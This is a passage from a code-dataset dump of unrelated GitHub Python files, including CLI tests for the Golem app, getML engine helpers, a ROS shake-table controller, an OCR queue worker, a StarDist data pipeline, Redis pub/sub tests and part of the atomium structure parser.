{cont}')","repo_name":"ferpoletto/Estudos-Python","sub_path":"CursoEmVideo/ex058 - Jogo da Adivinhacao v2.py","file_name":"ex058 - Jogo da Adivinhacao v2.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71040228383","text":"import sys\nimport unittest.mock as mock\n\nfrom click.testing import CliRunner\nfrom portalocker import LockException\n\nfrom golem.rpc import WORKER_PROCESS_STANDALONE_ARGS\nfrom golem.testutils import TempDirFixture, PEP8MixIn\nfrom golem.tools.ci import ci_skip\nfrom golemapp import start, main, start_crossbar_worker\nfrom tests.golem.config.utils import mock_config\n\n\n@ci_skip\n@mock.patch('twisted.internet.asyncioreactor', mock.Mock(), create=True)\n@mock.patch('twisted.internet.reactor', mock.Mock(), create=True)\nclass TestGolemApp(TempDirFixture, PEP8MixIn):\n PEP8_FILES = [\n \"golemapp.py\",\n ]\n\n @mock.patch('golem.node.Node')\n def test_start_node(self, node_class, *_):\n runner = CliRunner()\n runner.invoke(start, ['--datadir', self.path], catch_exceptions=False)\n assert node_class.called\n\n def test_start_crossbar_worker(self):\n args = ['--datadir', self.path] + WORKER_PROCESS_STANDALONE_ARGS\n\n with mock.patch('golemapp.start') as run_start:\n with mock.patch('golemapp.start_crossbar_worker') as run_start_cbar:\n with mock.patch.object(sys, 'argv', args):\n main()\n assert not run_start.called\n assert run_start_cbar.called\n\n def test_start_crossbar_worker_u(self, *_):\n runner = CliRunner()\n args = ['--datadir', self.path, '-u'] + WORKER_PROCESS_STANDALONE_ARGS\n\n with mock.patch('runpy.run_module'):\n with mock.patch.object(sys, 'argv', list(args)):\n runner.invoke(start_crossbar_worker, args,\n catch_exceptions=False)\n assert all(a not in sys.argv for a in\n WORKER_PROCESS_STANDALONE_ARGS)\n assert '-u' not in sys.argv\n\n @mock.patch('golem.core.common.config_logging')\n @mock.patch('golem.appconfig.AppConfig')\n @mock.patch('golem.node.Node')\n def test_patch_protocol_id(self, node_class, *_):\n runner = CliRunner()\n custom_id = '123456'\n\n # On testnet\n with mock_config():\n runner.invoke(start, ['--datadir', self.path,\n '--protocol_id', custom_id],\n catch_exceptions=False,)\n assert node_class.called\n node_class.reset_mock()\n\n from golem.core.variables import PROTOCOL_CONST\n assert PROTOCOL_CONST.ID == custom_id + '-testnet'\n\n # On mainnet\n with mock_config():\n runner.invoke(start, ['--datadir', self.path,\n '--protocol_id', custom_id,\n '--mainnet'],\n catch_exceptions=False,)\n assert node_class.called\n\n from golem.core.variables import PROTOCOL_CONST\n assert PROTOCOL_CONST.ID == custom_id\n\n @mock.patch('golem.rpc.cert.CertificateManager')\n def test_generate_rpc_cert(self, cert_manager, *_):\n cert_manager.return_value = cert_manager\n\n runner = CliRunner()\n runner.invoke(\n start,\n ['--datadir', self.path],\n catch_exceptions=False,\n )\n assert cert_manager.generate_if_needed.called\n\n @mock.patch('golem.node.Node')\n def test_accept_terms(self, node_cls, *_):\n runner = CliRunner()\n runner.invoke(\n start,\n ['--datadir', self.path, '--accept-terms'],\n catch_exceptions=False\n )\n node_cls().accept_terms.assert_called_once_with()\n\n @mock.patch('golem.node.Node')\n def test_accept_concent_terms(self, node_cls, *_):\n runner = CliRunner()\n runner.invoke(\n start,\n ['--datadir', self.path, '--accept-concent-terms'],\n catch_exceptions=False\n )\n node_cls().accept_concent_terms.assert_called_once_with()\n\n @mock.patch('golem.node.Node')\n def test_accept_all_terms(self, node_cls, *_):\n runner = CliRunner()\n runner.invoke(\n start,\n ['--datadir', self.path, '--accept-all-terms'],\n catch_exceptions=False\n )\n node_cls().accept_terms.assert_called_once_with()\n node_cls().accept_concent_terms.assert_called_once_with()\n\n @mock.patch('golem.node.Node')\n @mock.patch('portalocker.Lock.acquire')\n def test_datadir_lock_success(self, lock, *_):\n runner = CliRunner()\n runner.invoke(\n start,\n ['--datadir', self.path],\n catch_exceptions=False,\n )\n\n assert lock.called\n\n @mock.patch('golem.node.Node')\n @mock.patch('portalocker.Lock.acquire', side_effect=LockException)\n @mock.patch('golemapp.logger')\n def test_datadir_lock_failure(self, logger, *_):\n runner = CliRunner()\n runner.invoke(\n start,\n ['--datadir', self.path],\n catch_exceptions=False,\n )\n\n args, _kwargs = logger.error.call_args\n assert self.path in args[0]\n\n @mock.patch('golem.node.Node')\n def test_node_start_called(self, node_cls, *_):\n runner = CliRunner()\n runner.invoke(\n start,\n ['--datadir', self.path, '--accept-terms'],\n catch_exceptions=False\n )\n node_cls().start.assert_called_once()\n","repo_name":"golemfactory/clay","sub_path":"tests/test_golemapp.py","file_name":"test_golemapp.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","stars":2915,"dataset":"github-code","pt":"7"} +{"seq_id":"40351981609","text":"import json\nimport socket\nfrom typing import Dict\n\nimport getml.communication as comm\nfrom getml.communication import (\n _delete_project,\n _list_projects_impl,\n _set_project,\n _shutdown,\n _suspend_project,\n)\n\n# --------------------------------------------------------------------\n\n\ndef delete_project(name):\n \"\"\"Deletes a project.\n\n Args:\n name (str):\n Name of your project.\n\n Note:\n All data and models contained in the project directory will be\n permanently lost.\n\n \"\"\"\n _delete_project(name)\n\n\n# -----------------------------------------------------------------------------\n\n\ndef is_engine_alive():\n \"\"\"Checks if the getML engine is running.\n\n Returns:\n bool:\n True if the getML engine is running and ready to accept\n commands and False otherwise.\n\n \"\"\"\n\n cmd: Dict[str, str] = {}\n cmd[\"type_\"] = \"is_alive\"\n cmd[\"name_\"] = \"\"\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n sock.connect((\"localhost\", comm.port))\n except ConnectionRefusedError:\n return False\n\n comm.send_string(sock, json.dumps(cmd))\n\n sock.close()\n\n return True\n\n\n# -----------------------------------------------------------------------------\n\n# define compatability alias\nis_alive = is_engine_alive\n\n\n# -----------------------------------------------------------------------------\n\n\ndef list_projects():\n \"\"\"\n List all projects on the getML engine.\n\n Returns:\n List[str]:\n Lists the name all of the projects.\n \"\"\"\n return _list_projects_impl(running_only=False)\n\n\n# -----------------------------------------------------------------------------\n\n\ndef list_running_projects():\n \"\"\"\n List all projects on the getML engine that are currently running.\n\n Returns:\n List[str]: Lists the name all of the projects currently running.\n \"\"\"\n return _list_projects_impl(running_only=True)\n\n\n# -----------------------------------------------------------------------------\n\n\ndef set_project(name):\n \"\"\"Creates a new project or loads an existing one.\n\n If there is no project called `name` present on the engine, a new one will\n be created.\n\n Args:\n name (str):\n Name of the new project.\n \"\"\"\n _set_project(name)\n\n\n# -----------------------------------------------------------------------------\n\n\ndef shutdown():\n \"\"\"Shuts down the getML engine.\n\n Note:\n All changes applied to the :class:`~getml.DataFrame`\n after calling their :meth:`~getml.DataFrame.save`\n method will be lost.\n\n \"\"\"\n _shutdown()\n\n\n# --------------------------------------------------------------------\n\n\ndef suspend_project(name):\n \"\"\"Suspends a project that is currently running.\n\n Args:\n name (str):\n Name of your project.\n \"\"\"\n _suspend_project(name)\n\n\n# -----------------------------------------------------------------------------\n","repo_name":"getml/getml-community","sub_path":"src/python-api/getml/engine/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"7"} +{"seq_id":"18469544604","text":"# -*- coding:utf-8 -*-\n\n\nclass Solution:\n def solve(self, line1, line2, line3):\n n, p, q = line1\n line2_len = p\n line3_len = q\n\n # a想要\n line2_set = set(line2)\n line3_set = set(line3)\n ab_want = len(line2_set.intersection(line3_set))\n a_want = line2_len - ab_want\n b_want = line3_len - ab_want\n\n print(a_want, b_want, ab_want)\n\n\nif __name__ == '__main__':\n line1 = list(map(int, input().split()))\n line2 = list(map(int, input().split()))\n line3 = list(map(int, input().split()))\n Solution().solve(line1, line2, line3)\n","repo_name":"weizhixiaoyi/leetcode","sub_path":"nowcoder/company/0906-美团/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72233950304","text":"\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'chat'\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('history//', views.history, name='history'),\n path('unauthorized/', views.unauthorized, name='unauthorized'),\n path('/', views.room, name='room'),\n]\n","repo_name":"codingelle/django-whatsapp-web-clone","sub_path":"chat/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"7"} +{"seq_id":"42829891397","text":"#! /usr/bin/env python\nfrom __future__ import print_function\nimport rospy\nfrom std_msgs.msg import Float64\nfrom sensor_msgs.msg import JointState\nimport actionlib\nimport pbr_gazebo.msg\nfrom threading import Thread\nfrom collections import deque\nimport numpy as np\nimport rospkg\nimport os\nimport csv\nfrom gazebo_msgs.msg import LinkStates\nfrom geometry_msgs.msg import Pose\nfrom geometry_msgs.msg import Twist\n\nclass MotionFromFile(object):\n def __init__(self, file_name, link_name='double_rock::box'):\n self.link_name = link_name\n rospack = rospkg.RosPack()\n rospack.list()\n pkg_path = rospack.get_path('pbr_gazebo')\n self.file_name = os.path.join(pkg_path, 'src/ground_motion_data', file_name)\n times = []\n self.vel_commands = []\n with open(self.file_name, mode='r') as csv_file:\n csv_reader = csv.DictReader(csv_file)\n for row in csv_reader:\n t = float(row['time'])\n a = float(row['filtered_acc'])\n v = float(row['filtered_velocity'])\n d = float(row['displacement'])\n times.append(t)\n self.vel_commands.append(v)\n\n self.times = []\n for i in range(len(times) - 1):\n self.times.append(times[i+1] - times[i])\n # joint state subscriber\n rospy.Subscriber('/gazebo/link_states', LinkStates, self.LinkStatecallback)\n self.default_vel = 0.0\n self.x = 0\n rospy.Subscriber(\"/prismatic_box_controller/joint_states\", JointState, self.jointstate_cb)\n self.double_rock_twist_pub = rospy.Publisher('/motion_from_file/double_rock/twist', Twist, queue_size=10)\n self.double_rock_pose_pub = rospy.Publisher('/motion_from_file/double_rock/pose', Pose, queue_size=10)\n\n\n\n # velocity controller\n self.Hz = 1000\n self.vel_pub = rospy.Publisher('/prismatic_box_controller/prismatic_joint_controller/command', Float64,\n queue_size=10)\n self.vel_command = self.default_vel\n self.vel_thread = Thread(target=self.send_vel, args=())\n self.vel_thread.daemon = True\n self.vel_thread.start()\n\n # pulse motion action server\n self._feedback = pbr_gazebo.msg.AFFeedback()\n self._result = pbr_gazebo.msg.AFResult()\n\n self._as = actionlib.SimpleActionServer('ground_motion_server', pbr_gazebo.msg.AFAction, execute_cb=self.execute_cb, auto_start=False)\n self._as.start()\n rospy.loginfo(\"pulse_motion_planner/ground_motion_server\" + \" has been initialized!\")\n\n def execute_cb(self, goal):\n A = goal.A\n F = goal.F\n\n rate = rospy.Rate(self.Hz) # Hz\n if A*F == 0:\n # reset\n err = - self.x\n errs = deque(maxlen=5)\n errs.append(0)\n P = 1\n I = 0.2\n while abs(err)>0.001:\n self.vel_command = P*err + I*np.array(errs).mean()\n rate.sleep()\n err = - self.x\n errs.append(err)\n self.vel_command = self.default_vel\n self._result.success = True\n self._as.set_succeeded(self._result)\n rospy.loginfo('reset completed')\n else:\n step_nm = len(self.times)\n print(step_nm)\n for j in range(step_nm):\n self.vel_command = self.vel_commands[j]\n rospy.sleep(self.times[j])\n\n self.vel_command = self.default_vel\n self._result.success = True\n self._as.set_succeeded(self._result)\n rospy.loginfo('ground motion completed')\n\n\n def jointstate_cb(self, data):\n # this is from the ros_controller. It's not ground truth\n self.x = data.position[0]\n\n def LinkStatecallback(self, data):\n idx = data.name.index(self.link_name)\n double_rock_pose = data.pose[idx]\n double_rock_twist = data.twist[idx]\n self.double_rock_twist_pub.publish(double_rock_twist)\n self.double_rock_pose_pub.publish(double_rock_pose)\n\n\n\n def send_vel(self):\n rate = rospy.Rate(self.Hz) # Hz\n while not rospy.is_shutdown():\n self.vel_pub.publish(self.vel_command)\n rate.sleep()\n\n\n\nif __name__ == '__main__':\n rospy.init_node('motion_from_file', anonymous=False)\n double_rock = 'double_rock::box'\n shake_table = 'prismatic_large_box::box'\n mff = MotionFromFile('RSN316.csv', shake_table)\n try:\n rospy.spin()\n except rospy.ROSInterruptException:\n print(\"Node killed!\")\n","repo_name":"DREAMS-lab/pbr_gazebo","sub_path":"src/motion_from_file.py","file_name":"motion_from_file.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"19153910104","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n__author__ = 'paulo.rodenas'\n\nimport logging\nimport os, sys, time\nfrom tempfile import NamedTemporaryFile\nfrom service.ocr import *\nfrom service.postprocessing import TaxReceiptFuzzyRegex\nfrom service.aws import TaxReceiptSimpleQueueServiceIntegration, \\\n SimpleStorageServiceIntegration, BaseSimpleQueueServiceIntegration\nimport json\n\n\ndef handle_process_message_function(queue_name_in, message_body):\n \"\"\"\n {\"transaction_id\": 1,\"object\": \"IMG_2943_SMALL.jpeg\"}\n \"\"\"\n\n logger = logging.getLogger(__name__)\n\n start = time.time()\n\n # Receive message from SQS\n json_message = json.loads(message_body)\n\n # Create a temp file\n file_suffix = os.path.splitext(json_message.get('object'))[1]\n image_file = NamedTemporaryFile(suffix=file_suffix, delete=True)\n\n # Retrieve file from Amazon S3\n s3 = SimpleStorageServiceIntegration()\n s3.download_file(json_message.get('object'), image_file.name)\n\n # Perform OCR on it\n ocr_tool = PyOCRIntegration('eng')\n results = ocr_tool.image_to_string(image_file.name)\n\n # Close file which causes this temp file to be deleted\n image_file.close()\n\n logging.debug('Result: ')\n logging.debug(results)\n\n # Start looking for meaningful values\n logger.debug('Start - Fuzzy Matching')\n tax_receipt_fuzzy_regex = TaxReceiptFuzzyRegex(results)\n ret_value = tax_receipt_fuzzy_regex.identify_needed_fields()\n logger.debug(ret_value)\n logger.debug('End - Fuzzy Matching')\n\n # Calculate the time it took to perform all those steps\n end = time.time()\n elapsed = end - start\n logger.debug('Execution took %f seconds' % elapsed)\n\n ret_value.update({'transaction_id': json_message.get('transaction_id'), 'elapsedTime': elapsed})\n return ret_value\n\n\ndef handle_queue_out_message_function(queue_name_out, response_body):\n json_response = json.dumps(response_body)\n\n sqs_service = BaseSimpleQueueServiceIntegration()\n sqs_service.send_message(queue_name_out, json_response)\n\nif __name__ == \"__main__\":\n logging.config.fileConfig('/etc/ocr-process-service/logging.ini')\n PyOCRIntegration.check_required_software()\n\n aws_sqs = TaxReceiptSimpleQueueServiceIntegration(\n handle_process_message_function,\n handle_queue_out_message_function\n )\n\n try:\n thread = aws_sqs.start_listening()\n while True:\n time.sleep(1)\n except (KeyboardInterrupt, SystemExit):\n sys.exit()\n","repo_name":"nfscan/ocr-process-service","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"7"} +{"seq_id":"71967786462","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Mar 4 09:11:26 2018\n\n@author: Liaowei\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cross_validation import KFold,train_test_split\nfrom sklearn.metrics import f1_score\nimport lightgbm as lgb\nimport pickle\nfrom sklearn.svm import SVC\n\nimport time\nimport datetime\n\nfrom pylab import mpl\nmpl.rcParams['font.sans-serif'] = ['FangSong'] # 指定默认字体\nmpl.rcParams['axes.unicode_minus'] = False # 解决保存图像是负号'-'显示为方块的问题\n\nnp.seterr(invalid='ignore')\n\ntrain_df = pd.read_csv('../data/linear_train.csv',encoding='gb2312')\nunk_test_df = pd.read_csv('../data/linear_test.csv',encoding='gb2312')\nunk_test_Y = pd.read_csv('../data/f_answer_a_20180306.csv',header=None)\ntrain_Y = pickle.load(open('../data/train_Y', 'rb'))\n\nkf = KFold(len(train_df), n_folds = 5, shuffle=True, random_state=0)\n\n\n#误差函数\ndef evalerror(pred, df):\n label = df.get_label().values.copy()\n pred = [1 if i>=0.5 else 0 for i in pred]\n score = f1_score(label,pred)\n #返回list类型,包含名称,结果,is_higher_better\n return ('F1',score,False)\n\ncv_preds = np.zeros(train_df.shape[0])\nunk_test_preds = np.zeros((unk_test_df.shape[0], 5))\nfor i, (train_index, cv_index) in enumerate(kf):\n print('第{}次训练...'.format(i))\n \n \n \n train_feat = train_df.iloc[train_index]\n cv_feat = train_df.iloc[cv_index]\n \n clf = SVC(C=1, kernel='linear',max_iter=-1,tol=1e-4, gamma=1)\n clf.fit(X=train_feat.values, y=train_Y[train_index])\n \n cv_preds[cv_index] += clf.predict(cv_feat.values)\n unk_test_preds[:,i] = clf.predict(unk_test_df.values)\n\n#from sklearn.model_selection import GridSearchCV\n#grid = GridSearchCV(clf, param_grid={\"C\":[0.1, 1, 10], \"gamma\": [1, 0.1, 0.01]}, cv=4)\n#grid.fit(X=train_df.values, y=train_Y.values)\n#print(\"The best parameters are %s with a score of %0.2f\"\n# % (grid.best_params_, grid.best_score_))\n\n#看看训练结果\ntemp_train_preds = clf.predict(train_df.values)\n\nprint('训练得分:', f1_score(temp_train_preds, train_Y.values))\nprint('线下得分:', f1_score(cv_preds, train_Y.values))\n\n#测试数据\nunk_test_preds = [1 if sum(i)>=3 else 0 for i in unk_test_preds]\nunk_test_preds = [1 if i>=0.5 else 0 for i in unk_test_preds]\nprint('线下得分:', f1_score(unk_test_preds, unk_test_Y.values))\n#submission = pd.DataFrame({'pred':unk_test_preds})\n#submission.to_csv(r'../data/linear_SVR{}.csv'.format(datetime.datetime.now().strftime('%Y%m%d_%H%M%S')),\n# header=None,index=False, float_format='%.4f')\n\n\n\n","repo_name":"dayL-W/Diabetes-prediction","sub_path":"3_linear_model.py","file_name":"3_linear_model.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"39795686976","text":"import numpy as np\nfrom sqlalchemy import false, true\nfrom densite_electrons import densiteelec, densite_os, densite_eau\nfrom energie_max_transfert import e_transf_max\nfrom constantes import *\n\n# Variables du problème\n\n# Pour calculer la densité électronique, on fournit une liste de données du\n# NIST pour le matériau approprié et on effectue le calcul à l'aide du script\n# \"densite_electrons.py\":\n\n#print(\"mp=\",mp)\n#print(\"me=\",me)\n\nrho = 1850 # Masse volumique de l'os\nI = 1.45798*10**(-17)# énergie moyenne d'excitation pour l'os\ndonnees = [] # Données du NIST pour le matériau\n\nne = densite_os*10**6\n#print(\"ne=\",ne*10**(6))\n\n\ndef pouvoir_arret(T, milieu): # Pouvoir d'arrêt avec corrections\n # T de MeV à J\n T = T / 6241506479963.2\n # densité électronique de cm-3 à m-3\n ne = dens[milieu][0]*10**6\n gamma = T / (mp * c**2) + 1\n #print(\"mp*c^2=\",(mp*c**2))\n #print(\"gamma=\",gamma)\n beta = np.sqrt(1 - gamma**(-2))\n #print(\"beta=\",beta)\n\n te_max = e_transf_max(gamma)\n #print(\"te_max=\",te_max)\n\n const = 2 * np.pi * re**2 * me * c**2 * ne / beta**2\n parenth = np.log(2 * me * c**2 * gamma**2 * te_max / I**2) - (2 * beta**2)\n #print(\"const=\",const)\n #print(\"parenth=\",parenth)\n\n return (const * parenth) * 6241506479963.2\n\n\n#print(\"test=\",pouvoir_arret(2.4033*10**(-11)*6241506479963.2, densite_os))\n","repo_name":"Jordan-Charest/PhysNum","sub_path":"TP1/pouvoir_arret.py","file_name":"pouvoir_arret.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74720077341","text":"import gunpowder as gp\nimport numpy as np\nimport gpstardist\nimport urllib.request\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser(\"Simple Stardist Generator for CREMI data\")\nparser.add_argument(\"--directory\", help=\"Directory to store data in.\", type=str, default=\".\")\nparser.add_argument(\"--max_dist\", help=\"Maximum distance for stardist computation\", type=float, default=None)\nargs = parser.parse_args()\ndirectory = args.directory\nmax_dist = args.max_dist\n\n# download some test data\nurl = \"https://cremi.org/static/data/sample_A_20160501.hdf\"\nurllib.request.urlretrieve(url, os.path.join(directory, 'sample_A.hdf'))\n\n# configure where to store results\nresult_file = \"sample_A.n5\"\nds_name = \"neuron_ids_stardists_downsampled\"\nif max_dist is not None:\n ds_name += \"_max{0:}\".format(max_dist)\n\n# declare arrays to use\nraw = gp.ArrayKey(\"RAW\")\nlabels = gp.ArrayKey(\"LABELS\")\nstardists = gp.ArrayKey(\"STARDIST\")\n\n# prepare requests for scanning (i.e. chunks) and overall\nscan_request = gp.BatchRequest()\nscan_request[stardists] = gp.Roi(gp.Coordinate((0, 0, 0)), gp.Coordinate((40, 100, 100))*gp.Coordinate((40, 8, 8)))\nvoxel_size = gp.Coordinate((40, 4, 4))\nrequest = gp.BatchRequest() # empty request will loop over whole area with scanning\nrequest[stardists] = gp.Roi(gp.Coordinate((40, 200, 200))*gp.Coordinate((40, 8, 8)),\n gp.Coordinate((40, 100, 100))*gp.Coordinate((40, 8, 8))*gp.Coordinate((2, 2, 2)))\nsource = gp.Hdf5Source(\n os.path.join(directory, \"sample_A.hdf\"),\n datasets={\n labels: \"volumes/labels/neuron_ids\" # reads resolution from file\n }\n)\n\nstardist_gen = gpstardist.AddStarDist3D(\n labels,\n stardists,\n rays=96,\n anisotropy=(40, 4, 4),\n grid=(1, 2, 2),\n unlabeled_id=int(np.array(-3).astype(np.uint64)),\n max_dist=max_dist,\n)\n\nwriter = gp.ZarrWrite(\n output_dir=directory,\n output_filename=result_file,\n dataset_names={\n stardists: ds_name\n },\n compression_type=\"gzip\",\n)\n\nscan = gp.Scan(scan_request)\n\npipeline = source + stardist_gen + writer + scan\n\nwith gp.build(pipeline):\n pipeline.request_batch(request)\n\n","repo_name":"saalfeldlab/gunpowder-stardist","sub_path":"examples/cremi_stardists.py","file_name":"cremi_stardists.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72223541663","text":"import unittest\nfrom Common.PubSubAdapter.RedisPubSub import RedisPubSub\nimport threading\nfrom Common.Event import Event\n\nerrs_event = Event()\n\n__all__ = ['PubSubTest']\n\n\nclass PubSubTest(unittest.TestCase):\n pubsub = None\n event = {}\n err_num = 0\n\n def setUp(self):\n self.rt_data = {}\n if self.pubsub is None:\n self.pubsub = RedisPubSub('10.4.37.206', 6379)\n self.pubsub.set_running_exception_handler(errs_event.emit)\n errs_event.subscribe(self.my_err)\n\n def tearDown(self):\n errs_event.unsubscribe(self.my_err)\n\n def wait(self, key):\n self.event[key].wait(0.1)\n self.event[key].clear()\n\n def get_sub_func(self, key):\n self.event[key] = threading.Event()\n\n def sub_func(data):\n self.event[key].set()\n self.rt_data[key] = data['data']\n\n return sub_func\n\n def my_err(self, msg):\n self.err_num += 1\n\n def test_func_sub_one(self):\n pub_key = 'unittest'\n msg = 't13124'\n sub_func = self.get_sub_func(1)\n self.pubsub.subscribe(pub_key, sub_func)\n self.pubsub.publish(pub_key, msg)\n self.wait(1)\n self.assertEqual(self.rt_data[1], msg)\n self.pubsub.unsubscribe(pub_key, sub_func)\n\n def test_func_sub_more(self):\n pub_key = 'unittest'\n msg = '345345'\n sub_func1 = self.get_sub_func(1)\n sub_func2 = self.get_sub_func(2)\n self.pubsub.subscribe(pub_key, sub_func1)\n self.pubsub.subscribe(pub_key, sub_func2)\n self.pubsub.publish(pub_key, msg)\n self.wait(1)\n self.wait(2)\n self.assertEqual(self.rt_data[1], msg)\n self.assertEqual(self.rt_data[1], self.rt_data[2])\n self.pubsub.unsubscribe(pub_key, sub_func1)\n self.pubsub.unsubscribe(pub_key, sub_func2)\n\n def test_key_sub_more(self):\n pub_key = 'unittest'\n msg = 'dgsdger'\n pub_key2 = pub_key + pub_key\n sub_func1 = self.get_sub_func(1)\n sub_func2 = self.get_sub_func(2)\n self.pubsub.subscribe(pub_key, sub_func1)\n self.pubsub.subscribe(pub_key2, sub_func2)\n self.pubsub.publish(pub_key2, msg)\n self.wait(2)\n self.assertEqual(self.rt_data[2], msg)\n self.assertNotEqual(self.rt_data.get(1), self.rt_data[2])\n msg += msg\n self.pubsub.publish(pub_key, msg)\n self.wait(1)\n self.assertEqual(self.rt_data[1], msg)\n self.assertNotEqual(self.rt_data[1], self.rt_data[2])\n self.pubsub.subscribe(pub_key, sub_func1)\n self.pubsub.subscribe(pub_key2, sub_func2)\n\n def test_unsubscribe(self):\n pub_key = 'unittest'\n msg = '345345'\n sub_func1 = self.get_sub_func(1)\n sub_func2 = self.get_sub_func(2)\n self.pubsub.subscribe(pub_key, sub_func1)\n self.pubsub.subscribe(pub_key, sub_func2)\n self.pubsub.unsubscribe(pub_key, sub_func1)\n self.pubsub.publish(pub_key, msg)\n self.wait(2)\n self.assertEqual(self.rt_data[2], msg)\n self.assertNotEqual(self.rt_data.get(1), self.rt_data[2])\n self.pubsub.unsubscribe(pub_key, sub_func2)\n\n def test_err(self):\n pub_key = 'unittest'\n msg = 'kkkk'\n sub_func = self.get_sub_func(1)\n sub_func2 = self.get_sub_func(2)\n\n def err_sub_func(data):\n raise Exception('test err')\n\n self.pubsub.subscribe(pub_key, sub_func)\n self.pubsub.subscribe(pub_key, err_sub_func)\n self.pubsub.subscribe(pub_key, sub_func2)\n\n self.pubsub.publish(pub_key, msg)\n self.wait(2)\n self.assertEqual(self.err_num, 1)\n self.assertEqual(self.rt_data[1], msg)\n self.pubsub.unsubscribe(pub_key, err_sub_func)\n\n msg = 'sdfsdfsd'\n self.pubsub.publish(pub_key, msg)\n self.assertEqual(self.err_num, 1)\n self.wait(2)\n self.assertEqual(self.rt_data[1], msg)\n self.assertEqual(self.rt_data[2], msg)\n self.pubsub.unsubscribe(pub_key, sub_func)\n self.pubsub.unsubscribe(pub_key, sub_func2)\n","repo_name":"algo2019/algorithm","sub_path":"AlgorithmEngine/Common/Unittest/Tests/PubSubAdapter/PubSubTest.py","file_name":"PubSubTest.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10185156892","text":"\"\"\"Contains logic for turning data dictionaies into a parsed Python objects.\"\"\"\n\nfrom .structures import *\n\nclass File:\n \"\"\"When a file is parsed, the result is a ``File``. It contains the\n structure of interest, as well as meta information.\n\n :param str filetype: the type of file that was parsed to make this.\"\"\"\n\n def __init__(self, filetype):\n self._filetype = filetype\n self._models = []\n\n\n def __repr__(self):\n return \"<{}.{} File>\".format(self._code or \"\", self._filetype)\n\n\n @property\n def filetype(self):\n \"\"\"The filetype that this File was created from, such as .pdb or\n .cif.\n\n :rtype: ``str``\"\"\"\n\n return self._filetype\n\n\n @property\n def code(self):\n \"\"\"The unique database identifer for this structure.\n\n :rtype: ``str``\"\"\"\n\n return self._code\n\n\n @property\n def title(self):\n \"\"\"The structure's text description.\n\n :rtype: ``str``\"\"\"\n\n return self._title\n\n\n @property\n def deposition_date(self):\n \"\"\"The date the structure was submitted for publication.\n\n :rtype: ``datetime.date``\"\"\"\n\n return self._deposition_date\n\n\n @property\n def classification(self):\n \"\"\"The structure's formal classification.\n\n :rtype: ``str``\"\"\"\n\n return self._classification\n\n\n @property\n def keywords(self):\n \"\"\"The structure's keyword descriptors.\n\n :rtype: ``list``\"\"\"\n\n return self._keywords\n\n\n @property\n def authors(self):\n \"\"\"The structure's authors.\n\n :rtype: ``list``\"\"\"\n\n return self._authors\n\n\n @property\n def technique(self):\n \"\"\"The structure's experimental technique.\n\n :rtype: ``str``\"\"\"\n\n return self._technique\n\n\n @property\n def source_organism(self):\n \"\"\"The structure's original organism.\n\n :rtype: ``float``\"\"\"\n\n return self._source_organism\n\n\n @property\n def expression_system(self):\n \"\"\"The organism the structure was expressed in.\n\n :rtype: ``float``\"\"\"\n\n return self._expression_system\n\n\n @property\n def missing_residues(self):\n \"\"\"The residues that should be in the model but aren't.\n\n :rtype: ``list``\"\"\"\n\n return self._missing_residues\n\n\n @property\n def resolution(self):\n \"\"\"The structure's resolution.\n\n :rtype: ``float``\"\"\"\n\n return self._resolution\n\n\n @property\n def rvalue(self):\n \"\"\"The structure's R-value.\n\n :rtype: ``float``\"\"\"\n\n return self._rvalue\n\n\n @property\n def rfree(self):\n \"\"\"The structure's R-free value.\n\n :rtype: ``float``\"\"\"\n\n return self._rfree\n\n\n @property\n def assemblies(self):\n \"\"\"The structure's biological assembly instructions.\n\n :rtype: ``list``\"\"\"\n\n return self._assemblies\n\n\n @property\n def models(self):\n \"\"\"The structure's models.\n\n :rtype: ``list``\"\"\"\n\n return self._models\n\n\n @property\n def model(self):\n \"\"\"The structure's first model (and only model if it has only one).\n\n :rtype: ``Model``\"\"\"\n\n return self._models[0]\n\n\n def generate_assembly(self, id):\n \"\"\"Generates a new model from the existing model using one of the file's\n set of assembly instructions (for which you provide the ID).\n\n For example:\n\n >>> import atomium\n >>> pdb = atomium.fetch('1xda')\n >>> pdb.model\n \n >>> pdb.generate_assembly(1)\n \n >>> pdb.generate_assembly(5)\n \n\n :param int id: the ID of the assembly to generate.\n :rtype: ``Model``\"\"\"\n \n m = self._models[0]\n for assembly in self._assemblies:\n if assembly[\"id\"] == id: break\n else:\n raise ValueError(f\"No assembly with ID {id}\")\n all_structures = []\n for t in assembly[\"transformations\"]:\n structures = {}\n for chain_id in t[\"chains\"]:\n for obj in list(m.chains()) + list(m.ligands() | m.waters()):\n if obj._internal_id == chain_id:\n copy = obj.copy()\n if isinstance(copy, Ligand):\n copy._chain = 